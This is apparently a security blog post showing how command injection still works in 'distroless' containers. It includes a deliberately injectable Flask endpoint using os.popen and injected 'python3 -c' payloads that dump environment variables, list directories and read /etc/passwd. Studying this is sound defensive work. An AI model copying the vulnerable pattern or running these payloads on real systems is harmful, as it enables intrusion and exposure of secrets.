As mentioned in Github, "Distroless" images contain only your application and its runtime dependencies. They do not contain package managers, shells or any other programs you would expect to find in a standard Linux distribution." (https://github.com/GoogleContainerTools/distroless)
There are multiple reasons why distroless images are getting popular
- minimal size
- does not include excessive binaries ( there is only sh and bash in /bin folder )
- more secured ( due to presence of less binaries )
However there has been a wrong perceptions ( as per few blog posts ) that we cannot do command injection attacks in the containers made of distroless images. While this is partly true that we cannot try the usual attacks of command injection but it will be wrong to say that it is impossible. This blog post is about attacking them.
Here is my base code and the Dockerfile
app.py
from flask import Flask,request import os import subprocess app = Flask(__name__) @app.route("/") def hello(): try: cmd = request.args.get("cmd") res = os.popen(cmd).read() return "Out->"+str(res) except: return "error" if __name__ == '__main__': app.run(host='0.0.0.0',port=5000) FROM python:3-slim AS build COPY ./app /app WORKDIR /app RUN pip install --upgrade pip RUN pip install Flask FROM gcr.io/distroless/python3 COPY --from=build /app /app COPY --from=build /usr/local/lib/python3.9/site-packages /usr/local/lib/python3.9/site-packages WORKDIR /app ENV PYTHONPATH=/usr/local/lib/python3.9/site-packages EXPOSE 5000 USER nonroot ENTRYPOINT python3 app.py
First let us try to perform a simple command injection and see the results.
No output
As expected it would not show anything, however it is a good idea to look at the logs.
/bin/sh: 1: ls: not found
/bin/sh: 1: whoami: not found
Before I explain how it is possible to execute the commands, it would be a good idea to explore the environment and the file system to get a deeper understanding why most attacks are not possible.
The PATH variable inside a running container
'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
Now let us explore each of these locations as referred in PATH variable and see what we can find in them.
/usr/local/sbin
[None]
/usr/local/bin
[None]
/usr/sbin
['tzconfig', 'iconvconfig', 'zic']
/usr/bin
['locale', 'localedef', 'zdump', 'python3.5m', 'python', 'catchsegv', 'getconf', 'ldd', 'tzselect', 'iconv', 'getent', 'python3.5', 'pldd', 'python3', 'openssl', 'c_rehash']
Finally something interesting above, python binaries
/sbin
['ldconfig']
/bin
['dash', 'sh']
As you have seen we don't have enough binaries in them to perform normal command injection attacks. However we still can execute system commands ( but programmatically using the target language APIs ).There is way by which we can execute inline python commands from command line
python -c '<some python code>'
Using the above trick we can try the same things like for example printing the environment values
python3 -c 'import os;print(os.environ)'
To list directories
python3 -c+'import os;print(os.listdir("/"))'
['root', 'home', 'var', 'etc', 'boot', 'proc', 'dev', 'lib', 'sys', 'bin', 'run', 'tmp', 'usr', 'sbin', '.dockerenv', 'app', 'lib64']
To read files
python3 -c 'import os;print(open("/etc/passwd").readlines())'
['root:x:0:0:root:/root:/sbin/nologin\n', 'nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin\n', 'nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin\n']
Well that's it for this post :)
References:
https://github.com/GoogleContainerTools/distroless